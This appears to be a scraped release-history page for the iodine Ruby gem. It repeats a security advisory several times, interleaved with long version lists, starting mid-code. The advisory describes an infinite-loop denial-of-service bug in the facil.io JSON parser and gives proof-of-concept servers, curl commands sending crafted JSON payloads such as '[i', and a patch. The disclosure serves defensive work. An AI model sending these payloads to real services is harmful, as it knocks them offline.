                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Nov 13, 2019

0.7.36 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Oct 24, 2019

0.7.35 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Oct 19, 2019

0.7.34 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


